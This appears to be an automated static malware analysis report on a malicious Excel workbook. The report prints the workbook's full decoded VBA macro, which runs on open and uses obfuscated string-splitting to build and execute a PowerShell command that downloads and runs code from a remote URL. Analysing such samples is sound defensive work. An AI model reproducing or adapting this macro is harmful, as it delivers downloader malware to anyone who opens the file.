Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 18340cd13a165143…

MALICIOUS

Office (OOXML)

13.7 KB Created: 2018-01-04 06:59:16 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2018-12-09
MD5: 3f2d6f438e3af11d8370c25bf6ee1458 SHA-1: c7a9b605ab0e4461e3c0cf738ea5ed34b15bfbbb SHA-256: 18340cd13a16514392cc4630d515a9330ed8bea941859d16756ea89c108d1c6f
160 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1204.002 Malicious File

The critical heuristic firing for Shell() call in VBA, combined with the Workbook_Open macro, indicates that the document is designed to execute arbitrary code upon opening. The VBA script constructs and executes a PowerShell command to download a payload from 'http://tiny.cc/aatxt'. This strongly suggests a downloader or droppper functionality.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1884 bytes
SHA-256: 32c1ed8b0efe7da5f61cc0682de32508fc9bcb883cd8456205e2b37f73dcca01
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
Openn
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "Module1"
Public Function Openn()
Dim exec As String
C = 1.22
B = 3.454
D = C * B
E = C + B
Addition = Neww()
Roger = Addition & " ((new-o" _
& "bject "
That = "net"
That = That + ".we"
Mat = Roger & That & "bclient)"
If D <> E Then
Str1 = "loads" _
& "tring"
Str2 = Str1 & "('h"
Str0 = "t"
Str3 = Str0 & Str0 & "p://tin"
Str4 = Str2 & Str3 & "y.cc"
ElseIf C = B Then
Subtract = Str2 & Str4
Newr = C * B + E
MsgBox "Value not found"
End If
Sketchers = Matt()
Total = Sketchers & Mat & ".down" & Str4 & "/aatxt'))"
Openn = Shell(Total)
End Function


Attribute VB_Name = "Module2"

Public Function Neww()
C = 1.22
B = 3.454
D = C * B
Value3 = "EX"
If C = 1.22 Then
Value1 = " -nopr"
Value2 = "ofile I"
ElseIf B > 5 Then
Value1 = "12.35"
Value2 = "N"
Value3 = "2.55"
Addition = Value1 * Value3
MsgBox Addition
End If
Addition = Value1 & Value2 & Value3
Neww = Addition
End Function
Public Function Matt()
If 1.23 <> 2.12 Then
nike = "pow"
Addidas = nike & "ershe"
Puma = "l"
Sketchers = Addidas & Puma & Puma
ElseIf C = B Then
nike = "lowe"
MsgBox "Error Please check the value"
End If
Matt = Sketchers
End Function




Attribute VB_Name = "Module3"
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18944 bytes
SHA-256: 07601e3c74afa629250a81cae2bef708a7e9c10fc0015d1cf901a2d3ecb83875

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